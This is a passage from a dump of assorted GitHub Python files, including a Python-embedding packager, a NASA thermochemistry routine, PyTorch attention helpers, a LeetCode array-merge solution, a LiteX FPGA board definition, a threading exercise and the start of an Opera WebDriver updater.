result.append(element)\n element.setParent(currentElements, allElements)\n else:\n typeEntry = allElements.setdefault(element.type, {})\n existing = typeEntry.get(element.identifier)\n if existing is None:\n typeEntry[element.identifier] = element\n result.append(element)\n element.setParent(currentElements, allElements)\n return result\n\n def ignoreRow(self, idx, row):\n return False\n\n def preprocessField(self, k, v):\n return k, v\n\n def setValue(self, element, k, v):\n element[k] = v\n\n def getDate(self, value, correctBug=False):\n if not value:\n return value\n try:\n v = strptime(value, '%Y-%m-%d')\n except ValueError:\n return value\n else:\n d = date(*v[:3])\n if correctBug:\n d -= timedelta(4 * 365 + 2)\n return d\n","repo_name":"cyberconcepts/cybertools","sub_path":"external/dsv.py","file_name":"dsv.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37543652261","text":"import glob\nimport os\nimport shutil\nfrom subprocess import Popen\n\nunblock_cmd = \"powershell Unblock-File -Path '%~dp0downloaders\\download_python.ps1'\"\ndownload_python_cmd = 'powershell -ExecutionPolicy Bypass -File \"%~dp0downloaders\\download_python.ps1\" -Version {python_version} -TargetDirectory \"{rel_target_directory}\"'\ndownload_pip_cmd = 'powershell -ExecutionPolicy Bypass -File \"%~dp0downloaders\\download_pip.ps1\" -TargetDirectory \"{rel_python_directory}\"'\ndownload_deps_cmd = 'powershell -ExecutionPolicy Bypass -File \"%~dp0downloaders\\download_deps.ps1\" -RequirementsFile \"{rel_requirements_file}\" -PipPath \"{rel_pip_path}\"'\ndownload_tkinter_cmd = 'powershell -ExecutionPolicy Bypass -File \"%~dp0downloaders\\download_tkinter.ps1\" -TargetDirectory \"{rel_target_directory}\" -PythonVersion {python_version} -MoveFiles -PythonDirectory \"{rel_python_directory}\"'\nrun_script_cmd = (\n '\"%~dp0/python-{python_version}-embed-amd64/python.exe\" \"{rel_script_path}\"'\n)\n\n\ndef create_frigobar(\n script_path: str,\n target_directory: str = \"frigobar\",\n python_version: str = \"3.11.4\",\n requirements_file: str = None,\n copy_directory: bool = False,\n tkinter: bool = False,\n):\n script_path = os.path.abspath(script_path)\n if not os.path.exists(target_directory):\n os.mkdir(target_directory)\n elif not os.path.isdir(target_directory):\n raise Exception(\"Target directory must be a directory\")\n elif os.listdir(target_directory):\n raise Exception(\"Target directory must be empty\")\n if not os.path.exists(script_path) or not os.path.isfile(script_path):\n raise Exception(f\"Missing script: {script_path}\")\n\n target_directory = os.path.abspath(target_directory)\n\n requirements_file = (\n os.path.abspath(requirements_file) if requirements_file else None\n )\n if requirements_file and (\n not os.path.exists(requirements_file) or not os.path.isfile(requirements_file)\n ):\n raise Exception(f\"Missing requirements file: {requirements_file}\")\n\n # Add a copy of the script to frigobar\n script_dir = os.path.join(target_directory, \"script\")\n os.mkdir(script_dir)\n if not copy_directory:\n shutil.copy(script_path, script_dir)\n else:\n\n def ignore_target_dir(dir, contents):\n return [c for c in contents if os.path.join(dir, c) == target_directory]\n\n shutil.copytree(\n os.path.dirname(script_path),\n script_dir,\n dirs_exist_ok=True,\n ignore=ignore_target_dir,\n )\n\n # Add a copy of the requirements file to frigobar\n if requirements_file:\n shutil.copy(requirements_file, script_dir)\n\n # Add a copy of the downloaders to frigobar\n downloaders_dir = os.path.join(os.path.dirname(__file__), \"downloaders\")\n downloader_scripts = [os.path.join(downloaders_dir, \"download_python.ps1\")]\n if requirements_file:\n downloader_scripts += [\n os.path.join(downloaders_dir, \"download_pip.ps1\"),\n os.path.join(downloaders_dir, \"download_deps.ps1\"),\n ]\n if tkinter:\n downloader_scripts += [\n os.path.join(downloaders_dir, \"download_tkinter.ps1\"),\n ]\n downloaders_dir = os.path.join(target_directory, \"downloaders\")\n os.mkdir(downloaders_dir)\n for script in downloader_scripts:\n if not os.path.exists(script):\n raise Exception(f\"Missing script: {script}\")\n shutil.copy(script, downloaders_dir)\n\n # Create bat file\n python_directory = os.path.join(\n target_directory, f\"python-{python_version}-embed-amd64\"\n )\n rel_target_directory = os.path.relpath(target_directory, target_directory)\n rel_python_directory = os.path.relpath(python_directory, target_directory)\n rel_pip_path = os.path.relpath(\n os.path.join(python_directory, \"Scripts\", \"pip.exe\"), target_directory\n )\n rel_script_path = os.path.relpath(\n os.path.join(script_dir, os.path.basename(script_path)), target_directory\n )\n if requirements_file:\n rel_requirements_file = os.path.relpath(\n os.path.join(script_dir, os.path.basename(requirements_file)),\n target_directory,\n )\n else:\n rel_requirements_file = \"\"\n script_basename = os.path.splitext(os.path.basename(script_path))[0]\n bat_file = os.path.join(target_directory, f\"{script_basename}.bat\")\n with open(bat_file, \"w\") as f:\n template_list = [unblock_cmd, download_python_cmd]\n if requirements_file:\n template_list.append(download_pip_cmd)\n template_list.append(download_deps_cmd)\n if tkinter:\n template_list.append(download_tkinter_cmd)\n template_list.append(run_script_cmd)\n template = \"\\n\".join(template_list)\n f.write(\n template.format(\n python_version=python_version,\n rel_target_directory=rel_target_directory,\n rel_python_directory=rel_python_directory,\n rel_requirements_file=rel_requirements_file,\n rel_pip_path=rel_pip_path,\n rel_script_path=rel_script_path,\n )\n )\n\n # Add _tkinter.pyd to frigobar\n if tkinter:\n tkinter_pyd_path = os.path.join(\n os.path.dirname(__file__), \"_tkinter\", \"_tkinter.pyd\"\n )\n shutil.copy(tkinter_pyd_path, target_directory)\n\n\ndef fill_frigobar(frigobar_path: str):\n bat_pattern = os.path.join(frigobar_path, \"*.bat\")\n bat_file = glob.glob(bat_pattern)[0]\n p = Popen(bat_file)\n stdout, stderr = p.communicate()\n","repo_name":"ubalklen/Frigobar","sub_path":"frigobar/frigobar.py","file_name":"frigobar.py","file_ext":"py","file_size_in_byte":5587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27902025149","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCalculates the thermodynamic properties of any species included in the NASA database\n\nCreated on Wen Jun 24 20:04:00 2020\n\n@author: Alberto Cuadra Lara\n PhD Candidate - Group Fluid Mechanics\n Office 1.1.D17, Universidad Carlos III de Madrid\n\"\"\"\nimport numpy as np\nfrom NASA_database.set_element_matrix import set_element_matrix\nfrom NASA_database.set_reference_form_of_elements_with_T_intervals import set_reference_form_of_elements_with_T_intervals\nfrom NASA_database.isRefElm import isRefElm\nfrom NASA_database.FullName2name import FullName2name\nfrom NASA_database.detect_location_of_phase_specifier import detect_location_of_phase_specifier\n\n\ndef SpeciesThermProp(self, species, T, MassorMolar, echo):\n\n species = FullName2name(species)\n\n if species not in self.strMaster:\n if echo:\n print('Species %s does not exist as a field in strMaster structure' % species)\n txFormula = []\n mm = []\n Cp0 = []\n Cv0 = []\n Hf0 = []\n H0 = []\n Ef0 = []\n E0 = []\n S0 = []\n DfG0 = []\n\n return [txFormula, mm, Cp0, Cv0, Hf0, H0, Ef0, E0, S0, DfG0]\n\n name = self.strMaster[species].name\n FullName = self.strMaster[species].FullName\n comments = self.strMaster[species].comments\n ctTInt = self.strMaster[species].ctTInt\n txRefCode = self.strMaster[species].txRefCode\n txFormula = self.strMaster[species].txFormula\n swtCondensed = self.strMaster[species].swtCondensed\n mm = self.strMaster[species].mm\n Hf0 = self.strMaster[species].Hf0\n tRange = self.strMaster[species].tRange\n tExponents = self.strMaster[species].tExponents\n Hf298De10 = self.strMaster[species].Hf298De10\n\n n_open_parenthesis = detect_location_of_phase_specifier(\n FullName) # Detect the position of the phase specifier\n\n # Set Elements and reference form of elements with T intervals lists\n Element_matrix = set_element_matrix(txFormula, self.E.ElementsUpper)\n Reference_form_of_elements_with_T_intervals = set_reference_form_of_elements_with_T_intervals()\n\n \"\"\"\n In order to compute the internal energy of formation from the enthalpy of\n formation of a given species, we must determine the change in moles of\n gases during the formation reaction of a mole of that species starting\n from the elements in their reference state. The only elements that are\n stable as diatomic gases are elements 1 (H), 7 (N), 8 (O), 9 (F), and 17\n (Cl). The remaining elements that are stable as (monoatomic) gases are\n the noble gases He (2), Ne (10), Ar (18), Kr (36), Xe (54), and Rn (86),\n which do not form any compound.\n \"\"\"\n aux1 = np.array([[0], [6], [7], [8], [16]]) # Counting 0\n aux2 = np.array([[1], [9], [17], [35], [53], [87]]) # Counting 0\n Delta_n_per_mole = sum(Element_matrix[0, :] == aux1)/2 +\\\n sum(Element_matrix[0, :] == aux2)\n Delta_n = 1. - swtCondensed - \\\n np.dot(Delta_n_per_mole, Element_matrix[1, :])\n\n R0 = self.C.R0\n \"\"\"\n Check if there is at least one temperature interval and, in that case,\n check that the specified temperature is within limits. If it is not, then\n abort, otherwise keep on running\n \"\"\"\n if ctTInt > 0:\n a = self.strMaster[species].a\n b = self.strMaster[species].b\n Tref = 298.15 # [K]\n\n if (T < tRange[0][0]) or (T > tRange[ctTInt-1][1]) and echo:\n print('T out of range [%.2f - %.2f] [K] for %s' %\n (tRange[0][0], tRange[ctTInt][1], FullName))\n Cp0 = []\n Cv0 = []\n H0 = []\n Ef0 = []\n E0 = []\n S0 = []\n DfG0 = []\n return [txFormula, mm, Cp0, Cv0, Hf0, H0, Ef0, E0, S0, DfG0]\n\n # Select the appropriate temperature interval\n for i in range(0, ctTInt):\n if (T >= tRange[i][0]) and (T <= tRange[i][1]):\n tInterval = i\n\n \"\"\" \n Compute the thermochemical data at the specified temperature using\n the polynomial coefficients in the selected temperature interval. All\n magnitudes are computed in a per mole basis \n \"\"\"\n Cp0 = R0 * sum(a[tInterval] * T**np.array(tExponents[tInterval]))\n Cv0 = Cp0 - R0\n aux = np.array([-1, np.log(T), 1, 1/2, 1/3, 1/4, 1/5, 0])\n H0 = R0 * T * \\\n (sum(a[tInterval] * T**np.array(tExponents[tInterval])\n * aux) + b[tInterval][0] / T)\n Ef0 = Hf0 - Delta_n * R0 * Tref\n E0 = Ef0 + (H0 - Hf0) - (1 - swtCondensed) * R0 * (T - Tref)\n aux = np.array([-1/2, -1, np.log(T), 1, 1/2, 1/3, 1/4, 0])\n S0 = R0 * \\\n (sum(a[tInterval] * T**np.array(tExponents[tInterval])\n * aux) + b[tInterval][1])\n\n \"\"\"\n Compute the standar gibbs free energy of formation at the specified\n temperature. This enforces us to consider explicitely the formation\n reaction from the elements in their reference states at room\n temperature, unless the species is precisely an element in its\n reference state, in which case the standard gibbs free energy of\n formation is identically zero.\n \"\"\"\n [iRe, REname] = isRefElm(\n Reference_form_of_elements_with_T_intervals, FullName[0:n_open_parenthesis], T)\n if not iRe:\n if echo:\n print(f'{FullName} is not Ref-Elm')\n\n DfG0 = H0 - T * S0\n else:\n if echo:\n print(f'{REname} is Ref-Elm')\n DfG0 = 0.\n\n if MassorMolar == 'mass':\n Cp0 = Cp0 / (mm / 1000)\n Cv0 = Cv0 / (mm / 1000)\n Hf0 = Hf0 / (mm / 1000)\n Ef0 = Ef0 / (mm / 1000)\n H0 = H0 / (mm / 1000)\n S0 = S0 / (mm / 1000)\n if not swtCondensed:\n DfG0 = DfG0 / (mm / 1000)\n else:\n DfG0 = []\n\n else:\n \"\"\" \n If the species is only a reactant determine it's reference temperature\n Tref. For noncryogenic reactants, assigned enthalpies are given at 298.15\n K. For cryogenic liquids, assigned enthalpies are given at their boiling\n points instead of 298.15 K\n \"\"\"\n if T != tRange[0]:\n print('T out of range [%.2f - %.2f] [K] for %s' %\n (tRange[0][0], tRange[ctTInt][1], FullName))\n Cp0 = []\n Cv0 = []\n H0 = []\n Ef0 = Hf0 - Delta_n * R0 * tRange[0]\n E0 = []\n S0 = []\n DfG0 = []\n else:\n Tref = tRange[0]\n Cp0 = 0.\n Cv0 = 0.\n H0 = 0.\n E0 = 0.\n Ef0 = Hf0 - Delta_n * R0 * Tref\n\n if MassorMolar == 'mass':\n Hf0 = Hf0 / (mm / 1000)\n Ef0 = Ef0 / (mm / 1000)\n\n return [txFormula, mm, Cp0, Cv0, Hf0, H0, Ef0, E0, S0, DfG0]\n","repo_name":"AlbertoCuadra/combustion_pytoolbox","sub_path":"NASA_database/SpeciesThermProp.py","file_name":"SpeciesThermProp.py","file_ext":"py","file_size_in_byte":6938,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"18729423737","text":"import torch\nfrom torch import nn\n\n\ndef sequence_mask(lengths, max_length):\n t = lengths.view((-1, 1))\n result = torch.arange(max_length).view((1, -1)).to(lengths.device)\n result = result < t\n return result\n\n\ndef div_no_nan(a, b):\n mask = b == 0\n b_p = b + mask\n result = a / b_p\n result = result * (~mask)\n return result\n\n\ndef masked_softmax(x, mask):\n mask = (~mask).to(x.dtype)\n mask[mask == 1] = float('-inf')\n x = x + mask\n # x = x.masked_fill(mask == 0, float('-inf'))\n result = torch.softmax(x, dim=-1)\n return result\n\n\nclass MaskedAttention(nn.Module):\n def __init__(self, code_num, attention_dim):\n super().__init__()\n self.code_num = code_num\n self.attention_dim = attention_dim\n\n self.w_omega = nn.Linear(code_num, attention_dim)\n self.u_omega = nn.Linear(attention_dim, 1)\n\n def forward(self, x, lens):\n t = self.w_omega(x)\n vu = self.u_omega(t).squeeze(dim=-1)\n\n mask = sequence_mask(lens, vu.shape[-1])\n score = masked_softmax(vu, mask)\n return score\n","repo_name":"LuChang-CS/MTGAN","sub_path":"model/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"11"} +{"seq_id":"12305754935","text":"from litex.build.generic_platform import *\nfrom litex.build.xilinx import Xilinx7SeriesPlatform, VivadoProgrammer\nfrom litex.build.openocd import OpenOCD\n\n# IOs ----------------------------------------------------------------------------------------------\n\n_io = [\n # Clk / Rst\n (\"clk200\", 0,\n Subsignal(\"p\", Pins(\"AD12\"), IOStandard(\"LVDS\")),\n Subsignal(\"n\", Pins(\"AD11\"), IOStandard(\"LVDS\"))\n ),\n (\"cpu_reset_n\", 0, Pins(\"R19\"), IOStandard(\"LVCMOS33\")),\n\n # Leds\n (\"user_led\", 0, Pins(\"T28\"), IOStandard(\"LVCMOS33\")),\n (\"user_led\", 1, Pins(\"V19\"), IOStandard(\"LVCMOS33\")),\n (\"user_led\", 2, Pins(\"U30\"), IOStandard(\"LVCMOS33\")),\n (\"user_led\", 3, Pins(\"U29\"), IOStandard(\"LVCMOS33\")),\n (\"user_led\", 4, Pins(\"V20\"), IOStandard(\"LVCMOS33\")),\n (\"user_led\", 5, Pins(\"V26\"), IOStandard(\"LVCMOS33\")),\n (\"user_led\", 6, Pins(\"W24\"), IOStandard(\"LVCMOS33\")),\n (\"user_led\", 7, Pins(\"W23\"), IOStandard(\"LVCMOS33\")),\n\n # Buttons\n (\"user_btn_c\", 0, Pins(\"E18\"), IOStandard(\"LVCMOS33\")),\n (\"user_btn_d\", 0, Pins(\"M19\"), IOStandard(\"LVCMOS33\")),\n (\"user_btn_l\", 0, Pins(\"M20\"), IOStandard(\"LVCMOS33\")),\n (\"user_btn_r\", 0, Pins(\"C19\"), IOStandard(\"LVCMOS33\")),\n (\"user_btn_u\", 0, Pins(\"B19\"), IOStandard(\"LVCMOS33\")),\n\n # Switches\n (\"user_sw\", 0, Pins(\"G19\"), IOStandard(\"LVCMOS12\")),\n (\"user_sw\", 1, Pins(\"G25\"), IOStandard(\"LVCMOS12\")),\n (\"user_sw\", 2, Pins(\"H24\"), IOStandard(\"LVCMOS12\")),\n (\"user_sw\", 3, Pins(\"K19\"), IOStandard(\"LVCMOS12\")),\n (\"user_sw\", 4, Pins(\"N19\"), IOStandard(\"LVCMOS12\")),\n (\"user_sw\", 5, Pins(\"P19\"), IOStandard(\"LVCMOS12\")),\n (\"user_sw\", 6, Pins(\"P26\"), IOStandard(\"LVCMOS33\")),\n (\"user_sw\", 7, Pins(\"P27\"), IOStandard(\"LVCMOS33\")),\n\n # Serial\n (\"serial\", 0,\n Subsignal(\"tx\", Pins(\"Y23\")),\n Subsignal(\"rx\", Pins(\"Y20\")),\n IOStandard(\"LVCMOS33\")\n ),\n\n # USB FIFO\n (\"usb_fifo\", 0, # Can be used when FT2232H's Channel A configured to ASYNC FIFO 245 mode\n Subsignal(\"data\", Pins(\"AD27 W27 W28 W29 Y29 Y28 AA28 AA26\")),\n Subsignal(\"rxf_n\", Pins(\"AB29\")),\n Subsignal(\"txe_n\", Pins(\"AA25\")),\n Subsignal(\"rd_n\", Pins(\"AB25\")),\n Subsignal(\"wr_n\", Pins(\"AC27\")),\n Subsignal(\"siwua\", Pins(\"AB28\")),\n Subsignal(\"oe_n\", Pins(\"AC30\")),\n Misc(\"SLEW=FAST\"),\n Drive(8),\n IOStandard(\"LVCMOS33\"),\n ),\n\n # SDCard\n (\"spisdcard\", 0,\n Subsignal(\"rst\", Pins(\"AE24\")),\n Subsignal(\"clk\", Pins(\"R28\")),\n Subsignal(\"cs_n\", Pins(\"T30\"), Misc(\"PULLUP True\")),\n Subsignal(\"mosi\", Pins(\"R29\"), Misc(\"PULLUP True\")),\n Subsignal(\"miso\", Pins(\"R26\"), Misc(\"PULLUP True\")),\n Misc(\"SLEW=FAST\"),\n IOStandard(\"LVCMOS33\")\n ),\n (\"sdcard\", 0,\n Subsignal(\"rst\", Pins(\"AE24\"), Misc(\"PULLUP True\")),\n Subsignal(\"data\", Pins(\"R26 R30 P29 T30\"), Misc(\"PULLUP True\")),\n Subsignal(\"cmd\", Pins(\"R29\"), Misc(\"PULLUP True\")),\n Subsignal(\"clk\", Pins(\"R28\")),\n Subsignal(\"cd\", Pins(\"P28\")),\n Misc(\"SLEW=FAST\"),\n IOStandard(\"LVCMOS33\")\n ),\n\n\n # DDR3 SDRAM\n (\"ddram\", 0,\n Subsignal(\"a\", Pins(\n \"AC12 AE8 AD8 AC10 AD9 AA13 AA10 AA11\",\n \"Y10 Y11 AB8 AA8 AB12 AA12 AH9\"),\n IOStandard(\"SSTL15\")),\n Subsignal(\"ba\", Pins(\"AE9 AB10 AC11\"), IOStandard(\"SSTL15\")),\n Subsignal(\"ras_n\", Pins(\"AE11\"), IOStandard(\"SSTL15\")),\n Subsignal(\"cas_n\", Pins(\"AF11\"), IOStandard(\"SSTL15\")),\n Subsignal(\"we_n\", Pins(\"AG13\"), IOStandard(\"SSTL15\")),\n Subsignal(\"cs_n\", Pins(\"AH12\"), IOStandard(\"SSTL15\")),\n Subsignal(\"dm\", Pins(\"AD4 AF3 AH4 AF8\"),\n IOStandard(\"SSTL15\")),\n Subsignal(\"dq\", Pins(\n \"AD3 AC2 AC1 AC5 AC4 AD6 AE6 AC7\",\n \"AF2 AE1 AF1 AE4 AE3 AE5 AF5 AF6\",\n \"AJ4 AH6 AH5 AH2 AJ2 AJ1 AK1 AJ3\",\n \"AF7 AG7 AJ6 AK6 AJ8 AK8 AK5 AK4\"),\n IOStandard(\"SSTL15_T_DCI\")),\n Subsignal(\"dqs_p\", Pins(\"AD2 AG4 AG2 AH7\"),\n IOStandard(\"DIFF_SSTL15\")),\n Subsignal(\"dqs_n\", Pins(\"AD1 AG3 AH1 AJ7\"),\n IOStandard(\"DIFF_SSTL15\")),\n Subsignal(\"clk_p\", Pins(\"AB9\"), IOStandard(\"DIFF_SSTL15\")),\n Subsignal(\"clk_n\", Pins(\"AC9\"), IOStandard(\"DIFF_SSTL15\")),\n Subsignal(\"cke\", Pins(\"AJ9\"), IOStandard(\"SSTL15\")),\n Subsignal(\"odt\", Pins(\"AK9\"), IOStandard(\"SSTL15\")),\n Subsignal(\"reset_n\", Pins(\"AG5\"), IOStandard(\"LVCMOS15\")),\n Misc(\"SLEW=FAST\"),\n Misc(\"VCCAUX_IO=HIGH\")\n ),\n\n # RGMII Ethernet\n (\"eth_clocks\", 0,\n Subsignal(\"tx\", Pins(\"AE10\")),\n Subsignal(\"rx\", Pins(\"AG10\")),\n IOStandard(\"LVCMOS15\")\n ),\n (\"eth\", 0,\n Subsignal(\"rst_n\", Pins(\"AH24\"), IOStandard(\"LVCMOS33\")),\n Subsignal(\"int_n\", Pins(\"AK16\"), IOStandard(\"LVCMOS18\")),\n Subsignal(\"mdio\", Pins(\"AG12\"), IOStandard(\"LVCMOS15\")),\n Subsignal(\"mdc\", Pins(\"AF12\"), IOStandard(\"LVCMOS15\")),\n Subsignal(\"rx_ctl\", Pins(\"AH11\"), IOStandard(\"LVCMOS15\")),\n Subsignal(\"rx_data\", Pins(\"AJ14 AH14 AK13 AJ13\"), IOStandard(\"LVCMOS15\")),\n Subsignal(\"tx_ctl\", Pins(\" AK14\"), IOStandard(\"LVCMOS15\")),\n Subsignal(\"tx_data\", Pins(\"AJ12 AK11 AJ11 AK10\"), IOStandard(\"LVCMOS15\")),\n ),\n]\n\n# Connectors ---------------------------------------------------------------------------------------\n\n_connectors = [\n (\"HPC\", {\n \"DP0_C2M_P\": \"Y2\",\n \"DP0_C2M_N\": \"Y1\",\n \"DP0_M2C_P\": \"AA4\",\n \"DP0_M2C_N\": \"AA3\",\n \"GBTCLK0_M2C_P\": \"L8\",\n \"GBTCLK0_M2C_N\": \"L7\",\n }\n ),\n]\n\n# Platform -----------------------------------------------------------------------------------------\n\nclass Platform(Xilinx7SeriesPlatform):\n default_clk_name = \"clk200\"\n default_clk_period = 1e9/200e6\n\n def __init__(self, toolchain=\"vivado\"):\n Xilinx7SeriesPlatform.__init__(self, \"xc7k325t-ffg900-2\", _io, _connectors, toolchain=toolchain)\n self.add_platform_command(\"set_property INTERNAL_VREF 0.750 [get_iobanks 34]\")\n\n def create_programmer(self):\n return OpenOCD(\"openocd_genesys2.cfg\", \"bscan_spi_xc7a325t.bit\")\n\n def do_finalize(self, fragment):\n Xilinx7SeriesPlatform.do_finalize(self, fragment)\n self.add_period_constraint(self.lookup_request(\"clk200\", loose=True), 1e9/200e6)\n self.add_period_constraint(self.lookup_request(\"eth_clocks:rx\", loose=True), 1e9/125e6)\n","repo_name":"litex-hub/litex-boards","sub_path":"litex_boards/platforms/digilent_genesys2.py","file_name":"digilent_genesys2.py","file_ext":"py","file_size_in_byte":6547,"program_lang":"python","lang":"en","doc_type":"code","stars":315,"dataset":"github-code","pt":"11"} +{"seq_id":"43133526062","text":"# https://leetcode.com/problems/merge-sorted-array/\n\nfrom typing import List\n\nimport pytest\n\n\nclass Solution:\n params = [\n ([1, 2, 3, 0, 0, 0], 3, [2, 5, 6], 3, [1, 2, 2, 3, 5, 6]),\n ([1], 1, [], 0, [1]),\n ]\n\n def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:\n \"\"\"\n Do not return anything, modify nums1 in-place instead.\n \"\"\"\n nums1_copy = nums1[:m]\n p1 = p2 = 0\n\n for p in range(len(nums1)):\n if p2 >= n or (p1 < m and nums1_copy[p1] <= nums2[p2]):\n nums1[p] = nums1_copy[p1]\n p1 += 1\n else:\n nums1[p] = nums2[p2]\n p2 += 1\n\n return nums1\n\n def merge2(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:\n p1 = m - 1\n p2 = n - 1\n\n # And move p backwards through the array, each time writing\n # the smallest value pointed at by p1 or p2.\n for p in range(len(nums1)-1, -1, -1):\n if p2 < 0 or p1 < 0:\n break\n if p1 >= 0 and nums1[p1] > nums2[p2]:\n nums1[p] = nums1[p1]\n p1 -= 1\n else:\n nums1[p] = nums2[p2]\n p2 -= 1\n\n return nums1\n\n\n# @pytest.mark.parametrize(\"nums1, m, nums2, n, expected\", Solution.params)\n# def test_solution(nums1, m, nums2, n, expected):\n# s = Solution()\n#\n# assert expected == s.merge(nums1, m, nums2, n)\n\n\n@pytest.mark.parametrize(\"nums1, m, nums2, n, expected\", Solution.params)\ndef test_solution2(nums1, m, nums2, n, expected):\n s = Solution()\n\n assert expected == s.merge2(nums1, m, nums2, n)\n","repo_name":"ra1ski/coding-routine","sub_path":"topics/merge-sorted-array.py","file_name":"merge-sorted-array.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"34807273979","text":"import threading\nimport time\nimport random\n\n\ndef desencriptar(texto):\n \"\"\"\"Funcion para desencriptar el problema dada por los ayudantes\"\"\"\n murci = \"murcielago\"\n numeros = \"0123456789\"\n nuevo_texto = \"\"\n\n for letras in texto:\n if letras in murci:\n nueva_letra = murci.index(letras)\n nuevo_texto += str(nueva_letra)\n elif letras in numeros:\n nueva_letra = numeros.index(letras)\n nuevo_texto += str(murci[int(nueva_letra)])\n else:\n nuevo_texto += letras\n return nuevo_texto\n\n\nclass Dragon(threading.Thread):\n\n def __init__(self, nombre, jinete, dani):\n super().__init__()\n self.jinete = jinete\n self.velocidad = random.randint(30, 40)\n self.nombre = nombre\n self.distancia_recorrida = self.velocidad\n self.disminuir = False\n self.dani=dani\n\n def comer(self):\n self.dani.convencer(self.nombre)\n\n def run(self):\n while True:\n time.sleep(1)\n prob_comer = random.randint(1, 10)\n if self.distancia_recorrida >= 500 and prob_comer == 1:\n print(self.nombre + \" esta comiendo\")\n self.comer()\n elif self.disminuir == True:\n disminuir = random.randint(0, 5)\n nueva = self.velocidad - disminuir\n if self.velocidad > 15:\n if nueva >= 15:\n self.velocidad = nueva\n else:\n self.velocidad = 15\n self.distancia_recorrida += self.velocidad\n self.disminuir = False\n else:\n original = self.distancia_recorrida\n self.distancia_recorrida += self.velocidad\n nueva = self.distancia_recorrida\n if original <= 500 and nueva >= 500:\n self.disminuir = True\n if self.distancia_recorrida >= 1000:\n self.distancia_recorrida = 1000\n break\n\n def __str__(self):\n return \"Nombre del dragón: \"+self.nombre\n\n\nclass Dany:\n lock = \"esto podría ser un lock...\"\n\n def __init__(self):\n self.lock = threading.Lock()\n\n def convencer(self, dragon):\n self.lock.acquire()\n print(\"Dany esta convenciendo a \" + dragon)\n tiempo = random.randint(2, 5)\n time.sleep(tiempo)\n self.lock.release()\n print(\"Dani se demoró \" + str(tiempo) + \" en convencer a \" + dragon)\n\n\nclass Jinete(threading.Thread):\n lock = \"esto podria ser un lock...\"\n\n def __init__(self, nombre, dragon,dani):\n super().__init__()\n self.dragon = dragon\n self.nombre = nombre\n self.resuelto = \"no\"\n\n def __str__(self):\n return \"Soy \" + self.nombre + \" y \" + self.resuelto + \" resolví el problema\"\n\n def run(self):\n pass\n\n\nclass Viaje(threading.Thread):\n def __init__(self):\n super().__init__()\n self.dani = Dany()\n\n def agregar(self, nombre_dragon, nombre_jinete):\n jinete = Jinete(nombre_jinete, nombre_dragon, self.dani)\n dragon = Dragon(nombre_dragon, jinete, self.dani)\n return dragon, jinete\n\n def run(self):\n j1 = input((\"Ingrese el nombre del primer jinete \"))\n j2 = input((\"Ingrese el nombre del segundo jinete \"))\n j3 = input((\"Ingrese el nombre del tercer jinete \"))\n d1 = input((\"Ingrese el nombre del primer dragón \"))\n d2 = input((\"Ingrese el nombre del segundo dragón \"))\n d3 = input((\"Ingrese el nombre del tercer dragón \"))\n dragon1, jinete1 = self.agregar(d1, j1)\n dragon2, jinete2 = self.agregar(d2, j2)\n dragon3, jinete3 = self.agregar(d3, j3)\n dragon1.start()\n dragon2.start()\n dragon3.start()\n jinete1.start()\n jinete2.start()\n jinete3.start()\n print(\"Se crearon los dragones y los jinetes\")\n\n #Revisar que haya terminado\n if dragon1.is_alive()==False and dragon2.is_alive()==False and dragon3.is_alive()==False and jinete1.is_alive()==False and jinete2.is_alive()==False and jinete3.is_alive()==False:\n print(\"Equipo 1\")\n print(dragon1)\n print(dragon1.distancia_recorrida)\n print(jinete1)\n print(\"Equipo 3\")\n print(dragon2)\n print(dragon2.distancia_recorrida)\n print(jinete2)\n print(\"Equipo 3\")\n print(dragon3)\n print(dragon3.distancia_recorrida)\n print(jinete3)\n print(time.time())\n\n\n\n\nif __name__ == \"__main__\":\n # Aca deben instanciar las distintas clases y empezar el rescate\n viaje=Viaje()\n viaje.start()\n","repo_name":"isidonoso/Prueba","sub_path":"Isi/Actividades/AC06/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4725,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17367858799","text":"import io\nimport urllib.request\nimport zipfile\nimport os\nimport platform\nfrom selenium import webdriver\n\nDRIVER_NAME = 'operadriver'\n\ndef update_opera_driver():\n # Verifica o sistema operacional\n system = platform.system()\n if system == 'Windows':\n operadriver_url = \"https://github.com/operasoftware/operachromiumdriver/releases/latest/download/operadriver_win64.zip\"\n elif system == 'Linux':\n operadriver_url = \"https://github.com/operasoftware/operachromiumdriver/releases/latest/download/operadriver_linux64.zip\"\n elif system == 'Darwin':\n operadriver_url = \"https://github.com/operasoftware/operachromiumdriver/releases/latest/download/operadriver_mac64.zip\"\n else:\n raise ValueError(\"Sistema operacional não suportado\")\n\n # Verifica se o arquivo executável já está presente no sistema\n executable = None\n for path in os.get_exec_path():\n if os.path.isfile(os.path.join(path, DRIVER_NAME)):\n executable = os.path.join(path, DRIVER_NAME)\n break\n\n # Se o arquivo executável não estiver presente, faz o download e a extração\n if not executable:\n try:\n response = urllib.request.urlopen(operadriver_url)\n zip_file = zipfile.ZipFile(io.BytesIO(response.read()))\n zip_file.extractall()\n except Exception as e:\n print(f\"Erro ao baixar ou extrair o arquivo: {e}\")\n return\n\n # Encontra o arquivo executável do driver\n for file in os.listdir():\n if DRIVER_NAME in file:\n executable = file\n break\n\n # Move o arquivo executável para o PATH do sistema\n if executable:\n try:\n os.chmod(executable, 0o755)\n for path in os.get_exec_path():\n os.replace(executable, os.path.join(path, DRIVER_NAME))\n print(f\"Opera Driver Selenium atualizado com sucesso para a versão {executable}\")\n except Exception as e:\n print(f\"Erro ao mover o arquivo para o PATH do sistema: {e}\")\n else:\n print(\"Não foi possível encontrar o arquivo executável do Opera Driver Selenium\")\n else:\n print(f\"O arquivo executável do Opera Driver Selenium já está presente no sistema 